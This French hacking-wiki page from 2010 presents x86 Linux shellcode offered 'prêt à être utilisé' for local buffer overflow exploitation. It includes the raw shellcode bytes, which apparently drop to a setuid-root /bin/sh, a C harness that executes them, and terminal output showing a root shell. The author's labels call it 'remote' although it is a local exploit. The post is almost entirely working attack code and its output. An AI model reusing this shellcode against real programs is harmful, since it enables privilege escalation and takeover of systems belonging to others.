Hiteck

De HackBBS
Aller à la navigation Aller à la recherche

Mercredi 23 juin 2010

Voila mon nouveau exploit shellcode prêt à être utilisé pour une exploitation de buffer overflow en local :-D

hiteck@hiteck:~/Bureau/Programmation$ cat exploit.c
#include <stdio.h>

char shellcode[] = "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(void)
{
printf("\n[+] Exploit shellcode remote");
printf("\n[+] Codé par hit3ck");
fprintf(stdout,"\n[+] Taille: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
hiteck@hiteck:~/Bureau/Programmation$ ./exploit

[+] Exploit shellcode remote
[+] Codé par hit3ck
[+] Taille: 33
# whoami
root
# echo "Local exploit shellcode remote :-D"
Local exploit shellcode remote :-D
# exit
hiteck@hiteck:~/Bureau/Programmation$

Attention le teste de l'exploit shellcode a eu les privilèges root au maximum, donc le programme a exploiter doit donc avoir less privilège root sinon c'est pas la peine.